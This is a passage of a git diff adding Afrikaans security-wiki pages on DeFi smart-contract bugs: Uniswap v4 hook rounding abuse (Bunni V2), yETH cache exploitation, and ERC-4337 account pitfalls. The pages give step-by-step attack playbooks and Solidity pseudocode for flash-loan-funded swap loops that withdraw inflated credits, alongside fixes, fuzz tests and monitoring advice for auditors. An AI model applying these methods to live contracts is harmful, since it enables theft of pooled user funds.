+Kernidee: as ’n hook addisionele accounting implementeer wat van fixed-point math, tick rounding en threshold logic afhanklik is, kan ’n aanvaller exact-input swaps saamstel wat spesifieke thresholds kruis sodat rounding discrepancies in hul guns ophoop. Deur die patroon te herhaal en daarna die inflated balance te withdraw, word wins gerealiseer, dikwels gefinansier met ’n flash loan.
+
+## Agtergrond: Uniswap v4 hooks en swap-vloei
+
+- Hooks is contracts wat die PoolManager op spesifieke lifecycle-punte aanroep (byvoorbeeld beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity, beforeInitialize/afterInitialize, beforeDonate/afterDonate).[[4]](#references)
+- Pools word geïnisialiseer met ’n PoolKey wat die hook contract insluit. ’n Nie-nul hook address aktiveer die callbacks wat vir daardie pool gekies is.[[4]](#references)[[14]](#references)
+- Hooks kan **custom deltas** terugstuur wat die finale balance changes van ’n swap of liquidity action wysig (custom accounting). Hierdie deltas word as net balances aan die einde van die call vereffen, sodat enige rounding error binne hook math ophoop voordat settlement plaasvind.[[4]](#references)
+- Core math gebruik fixed-point-formate soos Q64.96 vir sqrtPriceX96 en tick arithmetic met 1.0001^tick. Enige custom math wat daarop gelê word, moet rounding semantics noukeurig ooreenstem om invariant drift te voorkom.[[12]](#references)[[13]](#references)
+- Swaps kan exactInput of exactOutput wees. In v3/v4 beweeg die prys langs ticks; die kruising van ’n tick boundary kan range liquidity aktiveer/deaktiveer. Hooks kan addisionele logic tydens threshold/tick crossings implementeer.[[9]](#references)[[11]](#references)
+
+## Kwesbaarheidsarchetipe: threshold‑crossing precision/rounding drift
+
+’n Tipiese kwesbare patroon in custom hooks:
+
+1. Die hook bereken per-swap liquidity- of balance-deltas met integer division, mulDiv of fixed-point conversions (byvoorbeeld token ↔ liquidity met sqrtPrice en tick ranges).
+2. Threshold logic (byvoorbeeld rebalancing, stepwise redistribution of per-range activation) word geaktiveer wanneer ’n swap-grootte of price movement ’n interne boundary kruis.
+3. Rounding word inkonsekwent toegepas (byvoorbeeld truncation na zero, floor versus ceil) tussen die forward calculation en die settlement path. Klein discrepancies kanselleer nie uit nie en krediteer eerder die caller.
+4. Exact-input swaps wat presies groot genoeg is om hierdie boundaries te kruis, harvest herhaaldelik die positive rounding remainder. Die aanvaller withdraw later die opgehoopte credit.
+
+Aanvalvoorwaardes
+- ’n Pool wat ’n custom v4 hook gebruik wat addisionele math op elke swap uitvoer (byvoorbeeld ’n LDF/rebalancer).
+- Ten minste een execution path waar rounding die swap initiator tydens threshold crossings bevoordeel.
+- Die vermoë om baie swaps atomies te herhaal (flash loans is ideaal om tydelike float te voorsien en gas te amortiseer).
+
+## Praktiese aanvalmetodologie
+
+1) Identifiseer kandidaatpools met hooks
+- Enumerate v4 pools en kontroleer PoolKey.hooks != address(0).
+- Inspekteer hook bytecode/ABI vir callbacks: beforeSwap/afterSwap en enige custom rebalancing methods.
+- Soek na math wat: deur liquidity deel, tussen token amounts en liquidity omskakel, of BalanceDelta met rounding aggregateer.
+
+2) Modelleer die hook se math en thresholds
+- Recreate die hook se liquidity/redistribution-formule: inputs sluit tipies sqrtPriceX96, tickLower/Upper, currentTick, fee tier en net liquidity in.
+- Map threshold/step functions: ticks, bucket boundaries of LDF breakpoints. Bepaal aan watter kant van elke boundary die delta afgerond word.
+- Identifiseer waar conversions tussen uint256/int256 cast, SafeCast gebruik of op mulDiv met implicit floor staatmaak.
+
+3) Kalibreer exact‑input swaps om boundaries te kruis
+- Gebruik Foundry/Hardhat simulations om die minimale Δin te bereken wat nodig is om die prys net oor ’n boundary te beweeg en die hook se branch te aktiveer.
+- Verifieer dat afterSwap settlement die caller meer krediteer as die koste, wat ’n positive BalanceDelta of credit in die hook se accounting laat.
+- Herhaal swaps om credit op te bou; call dan die hook se withdrawal/settlement path.
+
+In v4 moet die swap loop vanuit ’n PoolManager unlock callback loop; negative `amountSpecified` dui exact input aan, en `sqrtPriceLimitX96` moet streng binne die geldige reeks wees. ’n Zero price limit revert, dus gebruik die pseudocode hieronder die lower bound vir ’n zero-for-one swap.[[9]](#references)[[10]](#references)[[11]](#references)
+
+Voorbeeld van ’n Foundry-styl test harness (pseudocode)
+```solidity
+function test_precision_rounding_abuse() public {
+// 1) Arrange: set up pool with hook
+PoolKey memory key = PoolKey({
+currency0: USDC,
+currency1: USDT,
+fee: 500, // 0.05%
+tickSpacing: 10,
+hooks: IHooks(address(bunniHook))
+});
+pm.initialize(key, initialSqrtPriceX96);
+
+// 2) Determine a boundary‑crossing exactInput
+uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
+
+// 3) Loop swaps to accrue rounding credit
+// This loop runs inside the PoolManager unlockCallback.
+for (uint i; i < N; ++i) {
+pm.swap(
+key,
+SwapParams({
+zeroForOne: true,
+amountSpecified: -int256(exactIn), // exactInput
+sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1 // allow movement to the lower bound
+}),
+""
+);
+}
+
+// 4) Realize inflated credit via hook‑exposed withdrawal
+bunniHook.withdrawCredits(msg.sender);
+}
+```
+Kalibrering van die exactInput
+- Bereken die teiken met core TickMath: sqrtP_next = sqrtP_current × 1.0001^(Δtick) in terme van werklike waardes; die Q64.96-resultaat word deur TickMath afgerond.[[13]](#references)
+- Benader ’n token0 (zero-for-one)-invoer met die Q64.96-bewuste formule: Δx ≈ L × |ΔsqrtP| × 2^96 / (sqrtP_next × sqrtP_current). Pas die core-roetine se rigtingspesifieke afronding aan.[[12]](#references)
+- Pas Δin met ±1 wei rondom die grens aan om die vertakking te vind waar die hook in jou guns afrond.
+
+4) Versterk met flash loans
+- Leen ’n groot notionele bedrag (byvoorbeeld 3M USDT of 2000 WETH) om baie iterasies atomies uit te voer.[[1]](#references)[[2]](#references)[[3]](#references)
+- Voer die gekalibreerde swap-lus uit, en onttrek en betaal daarna terug binne die flash loan-callback.
+
+Aave V3 flash loan-skelet
+```solidity
+function executeOperation(
+address[] calldata assets,
+uint256[] calldata amounts,
+uint256[] calldata premiums,
+address initiator,
+bytes calldata params
+) external returns (bool) {
+// run threshold‑crossing swap loop here
+for (uint i; i < N; ++i) {
+_exactInBoundaryCrossingSwap();
+}
+// realize credits / withdraw inflated balances
+bunniHook.withdrawCredits(address(this));
+// repay
+for (uint j; j < assets.length; ++j) {
+IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
+}
+return true;
+}
+```
+5) Exit en kruisketting-replikasie
+- Indien hooks op veelvuldige kettings ontplooi is, herhaal dieselfde kalibrasie per ketting.
+- In die Bunni-incident het flash-loan-likiditeit en bridge-roetes per ketting verskil; neem dus daardie kettingspesifieke beperkings in ag wanneer die analise gereproduseer word.[[1]](#references)[[2]](#references)
+
+## Algemene grondoorsake in hook-wiskunde
+
+- Gemengde afrondingssemantiek: mulDiv rond af, terwyl latere paaie effektief op afronding na bo neerkom; of omskakelings tussen tokens/likiditeit gebruik verskillende afronding.
+- Foute met tick-belyning: afgeronde ticks word in een pad gebruik en tick-spaced afronding in ’n ander.
+- BalanceDelta-teken-/oorloopkwessies wanneer tussen int256 en uint256 tydens settlement omgeskakel word.
+- Presisieverlies in Q64.96-omskakelings (sqrtPriceX96) wat nie in die omgekeerde mapping weerspieël word nie.
+- Akkumulasiepaaie: remainder per swap word as krediete nagespoor wat deur die caller onttrekbaar is, eerder as om vernietig te word of ’n zero-sum-uitkoms te hê.
+
+## Custom accounting & delta-versterking
+
+- Uniswap v4 custom accounting laat hooks toe om deltas terug te gee wat direk aanpas wat die caller verskuldig is/ontvang. Indien die hook krediete intern naspoor, kan afrondingsreste oor baie klein operasies ophoop **voordat** die finale settlement plaasvind.[[4]](#references)
+- Indien die hook ’n versoenbare withdrawal-pad blootstel, kan ’n aanvaller `swap → withdraw → swap` binne dieselfde PoolManager unlock callback afwissel, wat die hook dwing om deltas teen effens verskillende state te herbereken terwyl balances hangende bly totdat die unlock gevestig word.[[4]](#references)[[10]](#references)
+- Wanneer hooks nagegaan word, volg altyd hoe BalanceDelta/HookDelta geproduseer en gevestig word. ’n Enkele bevooroordeelde afronding in een vertakking kan ’n samestellende krediet word wanneer deltas herhaaldelik herbereken word.
+
+## Defensiewe riglyne
+
+- Differential testing: vergelyk die hook se wiskunde met ’n reference implementation deur hoëpresisie-rationele rekenkunde te gebruik, en bevestig gelykheid of ’n begrensde fout wat altyd adversarial is (nooit gunstig vir die caller nie).
+- Invariant/property tests:
+- Die som van deltas (tokens, likiditeit) oor swap-paaie en hook-aanpassings moet waarde behou, modulo fooie.
+- Geen pad behoort positiewe netto krediet vir die swap initiator oor herhaalde exactInput-iterasies te skep nie.
+- Drempel-/tick-grenstoetse rondom ±1 wei-insette vir beide exactInput/exactOutput.
+- Afrondingsbeleid: sentraliseer afrondingshelpers wat altyd teen die gebruiker afrond; elimineer inkonsekwente casts en implisiete floors.
+- Settlement sinks: akkumuleer onvermydelike afrondingsreste in die protocol treasury of verbrand dit; ken dit nooit aan msg.sender toe nie.
+- Rate-limits/guardrails: minimum swap-groottes vir rebalancing-snellers; deaktiveer rebalances indien deltas sub-wei is; doen sanity checks op deltas teenoor verwagte reekse.
+- Hersien hook-callbacks holisties: beforeSwap/afterSwap en before/after liquidity changes moet oor tick-belyning en delta-afronding ooreenstem.
+
+## Gevallestudie: Bunni V2 (2025-09-02)
+
+- Protokol: Bunni V2, ’n Uniswap v4-hook wat ’n Liquidity Density Function (LDF) gebruik om tokendigtheid en skattings van totale likiditeit te bereken.[[1]](#references)[[2]](#references)
+- Geaffekteerde pools: USDC/USDT op Ethereum en weETH/ETH op Unichain, met ’n totaal van ongeveer $8.4M.[[1]](#references)
+- Stap 1 (prysopstuwing): die aanvaller het ~3M USDT deur ’n flash-loan geleen en dit geswap om die tick na ~5000 te skuif, wat die **aktiewe** USDC-balans tot ongeveer 28 wei verklein het.[[1]](#references)
+- Stap 2 (afrondingsdreinering): 44 klein onttrekkings het floor rounding in `BunniHubLogic::withdraw()` uitgebuit om die aktiewe USDC-balans van 28 wei na 4 wei te verminder (-85.7%), terwyl slegs ’n klein fraksie van LP-shares verbrand is. Totale likiditeit het met ~84.4% afgeneem.[[1]](#references)[[2]](#references)
+- Stap 3 (likiditeitsherstel-sandwich): ’n Groot swap het die tick na ~839,189 geskuif (1 USDC ≈ 2.77e36 USDT). Likiditeitskattings het omgeslaan en met ~16.8% toegeneem, wat ’n sandwich moontlik gemaak het waarin die aanvaller teen die opgeblase prys teruggeswap en met wins uitgeklim het.[[1]](#references)
+- Oplossing wat in die post-mortem geïdentifiseer is: verander die idle-balance-opdatering om **na bo** af te rond, sodat herhaalde mikro-onttrekkings nie meer die pool se aktiewe balans stelselmatig afwaarts verlaag nie.[[1]](#references)
+
+Vereenvoudigde kwesbare reël (en post-mortem-oplossing).[[1]](#references)
+```solidity
+// BunniHubLogic::withdraw() idle balance update (simplified)
+uint256 newBalance = balance - balance.mulDiv(shares, currentTotalSupply);
+// Fix: round up to avoid cumulative underestimation
+uint256 newBalance = balance - balance.mulDivUp(shares, currentTotalSupply);
+```
+## Jagkontrolelys
+
+- Gebruik die pool ’n nie-nul hooks-adres? Watter callbacks is geaktiveer?
+- Is daar per-swap-herverdelings/herbalanserings wat custom math gebruik? Is daar enige tick/threshold-logika?
+- Waar word divisions/mulDiv, Q64.96 conversions of SafeCast gebruik? Is die afrondingssemantiek wêreldwyd konsekwent?
+- Kan jy Δin konstrueer wat skaars ’n grens oorsteek en ’n gunstige afrondingsvertakking lewer? Toets albei rigtings en beide exactInput en exactOutput.
+- Hou die hook per-caller-krediete of deltas dop wat later onttrek kan word? Verseker dat die res geneutraliseer word.
+
+## References
+
+- [1] [Bunni Exploit-nadoodse ondersoek (Sep 2025)](https://blog.bunni.xyz/posts/exploit-post-mortem/)
+- [2] [Bunni V2 Exploit: Volledige hack-analise](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
+- [3] [Bunni V2 Exploit: $8.3M gedreineer via likiditeitsfout (opsomming)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
+- [4] [Uniswap v4 Core-witskrif](https://app.uniswap.org/whitepaper-v4.pdf)
+- [5] [Uniswap v4-agtergrond (QuillAudits-navorsing)](https://www.quillaudits.com/research/uniswap-development)
+- [6] [Likiditeitsmeganika in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
+- [7] [Swap-meganika in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
+- [8] [Uniswap v4 Hooks en sekuriteitsoorwegings](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
+- [9] [Uniswap v4 core Pool.sol](https://github.com/Uniswap/v4-core/blob/main/src/libraries/Pool.sol)
+- [10] [Uniswap v4 core PoolManager.sol](https://github.com/Uniswap/v4-core/blob/main/src/PoolManager.sol)
+- [11] [Uniswap v4 SwapParams](https://github.com/Uniswap/v4-core/blob/main/src/types/PoolOperation.sol)
+- [12] [Uniswap v4 core SqrtPriceMath.sol](https://github.com/Uniswap/v4-core/blob/main/src/libraries/SqrtPriceMath.sol)
+- [13] [Uniswap v4 core TickMath.sol](https://github.com/Uniswap/v4-core/blob/main/src/libraries/TickMath.sol)
+- [14] [Uniswap v4 PoolKey](https://github.com/Uniswap/v4-core/blob/main/src/types/PoolKey.sol)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/blockchain/blockchain-and-crypto-currencies/defi-amm-virtual-balance-cache-exploitation.md b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-virtual-balance-cache-exploitation.md
new file mode 100644
index 00000000000..a1829ca9c57
--- /dev/null
+++ b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-virtual-balance-cache-exploitation.md
@@ -0,0 +1,122 @@
+# DeFi AMM Accounting Bugs & Virtual Balance Cache Exploitation
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Oorsig
+
+Yearn Finance se yETH-pool (Nov. 2025) het getoon dat "virtual balance cache exploitation" dikwels ’n **multi-bug chain** is, nie net ’n enkele ontbrekende reset nie. Die weighted stableswap pool volg tot 32 liquid staking derivatives (LSDs), skakel dit om na ETH-ekwivalente **virtual balances** (`vb_i = balance_i * rate_i / PRECISION`), en stoor daardie waardes in `packed_vbs[]`, terwyl dit ook solver state soos `Sigma`, `Pi` en ’n interne equilibrium supply `D` handhaaf. Die aanvaller het die solver eers in ’n numeries ongeldige toestand gedwing sodat `Pi` tot nul gedaal het en te veel LP uitgereik is, daarna die pool gedreineer totdat ’n production `prev_supply == 0`-toestand bereikbaar geword het, en uiteindelik weer die bootstrap branch betree. Op daardie stadium het die pool stale cached virtual balances en unchecked math vertrou, sodat ’n **16 wei** dust deposit ongeveer **2.35e56 yETH** opgelewer het en sowat **$9M** se verliese oor die yETH-pool en yETH/WETH Curve-likiditeit veroorsaak het.[[1]](#references)[[2]](#references)
+
+Sleutelbestanddele:
+
+- **Derived-state caching**: duur oracle lookups word vermy deur virtual balances te persisteer en dit inkrementeel by te werk.
+- **Solver divergence under extreme imbalance**: hoogs skewe deposits het die fixed-point iteration buite sy veilige gebied gedruk en toegelaat dat `Pi` tot `0` daal.
+- **Dual supply notions**: interne invariant supply `D` en ERC-20 `totalSupply` kon tydens protocol-owned-liquidity reconciliation van mekaar verskil.
+- **Missing reset when `supply == 0`**: `remove_liquidity()` se proportional decrements het ná elke withdrawal cycle nie-nul residues in `packed_vbs[]` gelaat.
+- **Initialization branch trusts the cache**: `add_liquidity()` lees `packed_vbs[]` wanneer `prev_supply == 0`, met die aanname dat die cache ook na nul gestel is.
+- **Bootstrap path remained reachable**: ’n eenmalige initialization code path kon tydens live operation weer betree word.
+- **Unchecked arithmetic in invariant-critical code**: sodra `A * Sigma < D * Pi`, het `unsafe_sub` ’n slegte toestand in ’n infinite mint verander in plaas daarvan om te revert.
+- **Flash-loan financed state poisoning**: die volledige chain kon sonder langtermynkapitaal uitgevoer word.
+
+## Cache design & waar dit in die chain gepas het
+
+Die kwesbare flow word hieronder vereenvoudig:
+```solidity
+function remove_liquidity(uint256 burnAmount) external {
+uint256 supplyBefore = totalSupply();
+_burn(msg.sender, burnAmount);
+
+for (uint256 i; i < tokens.length; ++i) {
+packed_vbs[i] -= packed_vbs[i] * burnAmount / supplyBefore; // truncates to floor
+}
+
+// BUG: packed_vbs not cleared when supply hits zero
+}
+
+function add_liquidity(Amounts calldata amountsIn) external {
+uint256 prevSupply = totalSupply();
+uint256 sumVb = prevSupply == 0 ? _calc_vb_prod_sum() : _calc_adjusted_vb(amountsIn);
+uint256 lpToMint = pricingInvariant(sumVb, prevSupply, amountsIn);
+_mint(msg.sender, lpToMint);
+}
+
+function _calc_vb_prod_sum() internal view returns (uint256 sum) {
+for (uint256 i; i < tokens.length; ++i) {
+sum += packed_vbs[i]; // assumes cache == 0 for a pristine pool
+}
+}
+```
+Omdat `remove_liquidity()` slegs proporsionele aftrekkings toegepas het, het elke lus **fixed-point rounding-dust** gelaat. Ná herhaalde deposit/withdraw-siklusse het hierdie residue in phantom virtual balances opgehoop, terwyl die on-chain token balances byna leeg was. Die bereiking van `totalSupply == 0` het nie die cache skoongemaak nie, wat die protocol voorberei het vir ’n malformed re-initialization.[[1]](#references)
+
+Die subtiele deel is dat die stale cache **nie** die aanvanklike bron van profit was nie. Volgens Yearn se disclosure het die attacker eers ’n **solver instability** misbruik: uiters ongebalanseerde deposits het die aanvanklike `vb_prod` klein gemaak, die Newton-iteration het gedivergeer, en die stored product term `Pi` is tot `0` afgekap. ’n Latere `remove_liquidity(0)` het `Pi` uit die balances herbereken, maar die inflated internal supply `D` het behoue gebly. Eers nadat daardie mismatch gebruik is om LSTs te drain en ’n lewendige `prev_supply == 0`-toestand te bereik, het die stale `packed_vbs[]` + bootstrap underflow bereikbaar geword.[[1]](#references)
+
+## Exploit playbook (yETH-gevallestudie)
+
+1. **Flash-loan working capital** – Leen wstETH, rETH, cbETH, ETHx, WETH, ens. van Balancer/Aave om te voorkom dat kapitaal vasgelê word terwyl die pool gemanipuleer word.[[1]](#references)[[2]](#references)
+2. **Break the solver first** – Voer uiters ongebalanseerde `add_liquidity()`-inputs in sodat die weighted-stableswap solver ’n divergente regime betree. `vb_prod` word klein, die Newton step word afgekap, `Pi` val ineen na `0`, en die attacker ontvang excess LP.
+3. **Repair `Pi`, keep inflated `D`** – Roep `remove_liquidity(0)` aan om `Pi` uit die balances te herbereken, en trigger dan rate/supply reconciliation sodat die protocol staking/POL yETH burn in plaas van die attacker se oversized position.
+4. **Drain real liquidity while leaving cache dust** – Herhaalde withdrawals plus floor division dryf die werklike LST-balances af, maar laat nie-nul `packed_vbs[]`-residue agter.
+5. **Reach a live zero-supply bootstrap state** – Die protocol se dual-supply-ontwerp maak `prev_supply == 0` bereikbaar ná die drain, selfs al behoort hierdie pad slegs vir "deployment only" te wees.
+6. **Dust-size re-initialization** – Stuur ’n totaal van 16 wei oor die ondersteunde LSD-slots. `add_liquidity()` sien `prev_supply == 0`, lees die stale cache, en evalueer dan invariant math in ’n toestand waar `A * Sigma < D * Pi`. Omdat die code unchecked subtraction gebruik, underflow die bootstrap-pad en mint dit ongeveer **2.35e56 yETH**.
+7. **Cash out & repay** – Gebruik die counterfeit yETH om die yETH/WETH Curve pool en oorblywende collateral paths te drain, ruil proceeds terug na ETH/LSTs, betaal flash loans/fees terug, en route die profit.
+
+## Veralgemeende exploitation-voorwaardes
+
+Jy kan soortgelyke AMMs misbruik wanneer al die volgende geld:
+
+- **Cached derivatives of balances** (virtual balances, TWAP snapshots, invariant helpers) bly tussen transactions behoue vir gas-besparing.
+- **Partial updates truncate** resultate (floor division, fixed-point rounding), wat ’n attacker in staat stel om stateful residues deur simmetriese deposit/withdraw-siklusse op te bou.
+- **Iterative solvers kan degenerate states betree** (`Pi == 0`, virtual supply naby nul, denominator collapse) sonder om te revert, en later slegs gedeeltelik "gerepareer" word.
+- **Internal accounting kan van real balances divergeer** (bv. `D` teenoor `totalSupply`, preminted BPT, POL-backed supply, cached rate teenoor vault balance).
+- **Boundary conditions hergebruik caches of bootstrap code** in plaas van ground-truth recomputation, veral wanneer `totalSupply == 0`, `totalLiquidity == 0`, of pool composition reset.
+- **Public cache refresh / reconciliation paths bestaan** (`update_rates`, zero-amount remove/join flows, cache refresh helpers) en kan ná attacker-beheerde poisoning geroep word.
+- **Unsafe arithmetic of ontbrekende domain checks** verander invalid states in wrapped values in plaas daarvan om te revert.
+- **Minting logic het nie ratio sanity checks nie** (bv. geen `expected_value/actual_value`-bounds nie), sodat ’n dust deposit in wese die hele historic supply kan mint.
+- **Goedkoop kapitaal is beskikbaar** (flash loans of internal credit) om dosyne state-adjusting operations binne een transaction of ’n noukeurig gechoreografeerde bundle uit te voer.
+
+## Defensive engineering-checklist
+
+- **Eksplisiete resets wanneer supply/lpShares nul bereik**:
+```solidity
+if (totalSupply == 0) {
+for (uint256 i; i < tokens.length; ++i) packed_vbs[i] = 0;
+}
+```
+Pas dieselfde behandeling toe op elke cached accumulator wat uit balances of oracle data afgelei word.
+- **Recompute op initialization branches** – Wanneer `prev_supply == 0`, ignoreer caches volledig en rebuild virtual balances uit werklike token balances + live oracle rates.
+- **Seal bootstrap logic forever** – Behandel initialization as eenmalig. Herbetreding van `prev_supply == 0` op ’n mature pool moet ’n eksplisiete governance-controlled migration/shutdown mode vereis, nie gewone user flow nie.
+- **Assert solver domain and convergence** – Revert indien `A * Sigma < D * Pi`, indien iterations nie convergeer nie, of indien `Pi == 0` terwyl non-zero balances steeds bestaan.
+- **Bewys dat zero-supply states onbereikbaar is in production** – Indien die ontwerp afsonderlike supply-begrippe (`D`, ERC-20 shares, POL balances) behou, toets formeel dat ’n attacker nie `prev_supply == 0` kan forseer terwyl ekonomies betekenisvolle state oorbly nie.
+- **Minting sanity bounds** – Revert indien `lpToMint > depositValue * MAX_INIT_RATIO` of indien ’n enkele transaction >X% van historic supply mint terwyl totale deposits onder ’n minimale threshold is.
+- **Rounding-residue drains** – Aggregateer per-token dust na ’n sink (treasury/burn) sodat herhaalde proporsionele adjustments nie caches van real balances laat wegdryf nie.
+- **Differential tests** – Vir elke state transition (add/remove/swap), recompute dieselfde invariant off-chain met high-precision math en assert equality binne ’n tight epsilon, selfs ná volledige liquidity drains.
+
+## Minimale invariant fuzz-teikens
+
+Stel ’n test harness bloot wat sowel die cached state as die from-scratch recomputation kan lees, en assert dan boundary properties direk:
+```solidity
+function invariant_zero_supply_clears_derived_state() public {
+if (pool.totalSupply() == 0) {
+assertEq(h.cachedVirtualBalanceSum(), 0);
+assertEq(h.recomputedVirtualBalanceSum(), 0);
+}
+if (h.recomputedVirtualBalanceSum() > 0) assertGt(h.cachedPi(), 0);
+}
+```
+As jou ontwerp doelbewus `totalSupply == 0` tydens migrasies of POL-rekonsiliasie toelaat, vervang die tweede assertion met "bootstrap bly gedeaktiveer tensy governance migrasiemodus uitdruklik aktiveer".
+
+Fuzz single-wei-deposito's onmiddellik ná: (1) volledige onttrekkings, (2) `remove_liquidity(0)`-styl sync-oproepe, (3) publieke rate-cache-verversings, en (4) enige rekonsiliasiepad wat protocol-owned liquidity kan burn of mint.
+
+## Monitoring & response
+
+- **Multi-transaction detection** – Volg reekse van byna simmetriese deposit/withdraw-gebeurtenisse wat die pool met lae balances maar hoë cached state laat, gevolg deur `supply == 0`. Single-transaction anomaly detectors mis hierdie poisoning campaigns.
+- **Runtime simulations** – Herbereken virtual balances van nuuts af voordat `add_liquidity()` uitgevoer word en vergelyk dit met cached sums; revert of pause as die verskille ’n basispuntdrempel oorskry.
+- **Alert on cache refresh after attacker-controlled state changes** – Publieke funksies wat rates verfris, supply rekonsilieer of zero-amount syncs uitvoer, is hoë-sein wanneer hulle tussen die skep van ’n wanbalans en dust-deposito's verskyn.
+- **Flash-loan aware alerts** – Merk transaksies wat groot flash loans, volledige pool-onttrekkings en ’n finale deposit van dust-grootte kombineer; block dit of vereis handmatige goedkeuring.
+
+Verwant: vir swap-hook precision abuse wat nie op stale persistent AMM state staatmaak nie, sien [defi-amm-hook-precision.md](defi-amm-hook-precision.md).
+
+## References
+
+- [1] [Yearn Security Disclosure – Incident disclosure 2025-12-01](https://github.com/yearn/yearn-security/blob/master/disclosures/2025-12-01.md)
+- [2] [Check Point Research – The $9M yETH Exploit: How 16 Wei Became Infinite Tokens](https://research.checkpoint.com/2025/16-wei/)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/blockchain/blockchain-and-crypto-currencies/erc-4337-smart-account-security-pitfalls.md b/src/blockchain/blockchain-and-crypto-currencies/erc-4337-smart-account-security-pitfalls.md
new file mode 100644
index 00000000000..4da26ed0584
--- /dev/null
+++ b/src/blockchain/blockchain-and-crypto-currencies/erc-4337-smart-account-security-pitfalls.md
@@ -0,0 +1,128 @@
+# ERC-4337 Smart Account-sekuriteitsvalkuilen
+
+{{#include ../../banners/hacktricks-training.md}}
+
+ERC-4337-rekeningabstraksie verander wallets in programmeerbare stelsels. Die kernvloei is **validate-then-execute** oor ’n hele bundle: die `EntryPoint` valideer elke `UserOperation` voordat enige daarvan uitgevoer word.[[5]](#references) Hierdie volgorde skep ’n nie-vanselfsprekende attack surface wanneer validasie permissief, stateful of inkonsekwent met bundler-simulasie-reëls is.
+
+## 1) Direct-call-bypass van bevoorregte funksies
+Enige ekstern-aanroeibare `execute`- (of fondsoordrag-)funksie wat nie tot `EntryPoint` (of ’n gekeurde executor-module) beperk is nie, kan direk aangeroep word om die rekening te drain.[[2]](#references)
+```solidity
+function execute(address target, uint256 value, bytes calldata data) external {
+(bool ok,) = target.call{value: value}(data);
+require(ok, "exec failed");
+}
+```
+Veilige patroon: beperk tot `EntryPoint`, en gebruik `msg.sender == address(this)` vir admin/self-bestuur-vloeie (module-installasie, validatorveranderinge, opgraderings).[[2]](#references)[[5]](#references)
+```solidity
+address public immutable entryPoint;
+
+function execute(address target, uint256 value, bytes calldata data) external {
+require(msg.sender == entryPoint, "not entryPoint");
+(bool ok,) = target.call{value: value}(data);
+require(ok, "exec failed");
+}
+```
+## 2) Ongetekende of ongekontroleerde gas-velde -> fee drain
+As signature validation slegs intent (`callData`) dek, maar nie gas-verwante velde nie, kan ’n bundler of frontrunner fooie verhoog en ETH dreineer. Die signed payload moet ten minste die volgende bind:[[2]](#references)
+
+- `preVerificationGas`
+- `verificationGasLimit`
+- `callGasLimit`
+- `maxFeePerGas`
+- `maxPriorityFeePerGas`
+
+Defensive pattern: gebruik die `EntryPoint`-verskafde `userOpHash` (wat gas-velde insluit) en/of beperk elke veld streng.[[2]](#references)[[5]](#references)
+```solidity
+function validateUserOp(UserOperation calldata op, bytes32 userOpHash, uint256)
+external
+returns (uint256)
+{
+require(_isApprovedCall(userOpHash, op.signature), "bad sig");
+return 0;
+}
+```
+## 3) Stateful validation clobbering (bundle-semantiek)
+Omdat alle validations voor enige execution uitgevoer word, is dit onveilig om validation-resultate in contract state te stoor. Nog ’n op in dieselfde bundle kan dit oorskryf, wat veroorsaak dat jou execution state gebruik wat deur ’n attacker beïnvloed word.[[2]](#references)
+
+Vermy die skryf van storage in `validateUserOp`. Indien dit onvermydelik is, sleutel tydelike data volgens `userOpHash` en skrap dit deterministies ná gebruik (verkies stateless validation).[[2]](#references)
+
+## 4) ERC-1271 replay across accounts/chains (ontbrekende domain separation)
+`isValidSignature(bytes32 hash, bytes sig)` moet signatures aan **hierdie contract** en **hierdie chain** bind. Die herstel oor ’n raw hash laat signatures toe om oor accounts of chains heen hergebruik te word.[[1]](#references)[[4]](#references)
+
+Gebruik EIP-712 typed data (domain sluit `verifyingContract` en `chainId` in) en return die presiese ERC-1271 magic value `0x1626ba7e` by sukses.[[3]](#references)[[4]](#references)
+
+## 5) Reverts do not refund after validation
+Sodra `validateUserOp` suksesvol is, is fees verbind, selfs al revert execution later. Attackers kan herhaaldelik ops indien wat sal fail en steeds fees van die account invorder.[[2]](#references)
+
+Vir paymasters is betaling uit ’n shared pool in `validateUserOp` en die charging van users in `postOp` broos, omdat `postOp` kan revert sonder om die betaling ongedaan te maak. Beveilig fondse tydens validation (per-user escrow/deposit), hou `postOp` minimaal en nie-reverting, en begroot `paymasterPostOpGasLimit` vir die worst-case reimbursement path.[[2]](#references)[[5]](#references)
+
+## 6) Counterfactual deployment / factory assumptions
+Die eerste `UserOperation` bevat dikwels `initCode`, wat veroorsaak dat die account deur ’n **factory** tydens validation gedeploy word. Hierdie path word maklik onvoldoende ge-audit omdat dit slegs by eerste gebruik loop.[[5]](#references)
+
+Algemene failures sluit in:[[5]](#references)
+
+- Die factory/initializer vertrou op `msg.sender == entryPoint`, maar die ERC-4337 deployment path roep **nie** `initCode` direk vanaf `EntryPoint` nie.
+- Die salt, owner, validator of module configuration is nie volledig aan signed intent gebind nie, dus kan ’n frontrunner die eerste deployment race en die counterfactual address met attacker-beheerde settings verbrand.
+- Die factory is nie-idempotent nie, dus maak ’n herhaalde first-use flow die wallet onbruikbaar in plaas daarvan om die reeds-geskepte address terug te gee.
+
+Veilige patroon: bereken die verwagte sender opnuut uit signed deployment parameters, maak deployment deterministies (tipies `CREATE2`), en maak initialization eenmalig.[[5]](#references)
+```solidity
+bytes32 salt = keccak256(abi.encode(owner, validator, saltNonce));
+address predicted = Create2.computeAddress(salt, keccak256(initCode));
+require(predicted == sender, "bad sender");
+```
+## 7) Valideringslogika wat bundlers verwerp
+Valideringskode kan korrek wees in plaaslike toetse en steeds onbruikbaar wees in werklike bundlers. Bundlers voer validering verskeie kere uit en behoort ’n volledige traced-bundle-validering voor indiening uit te voer.[[6]](#references)
+
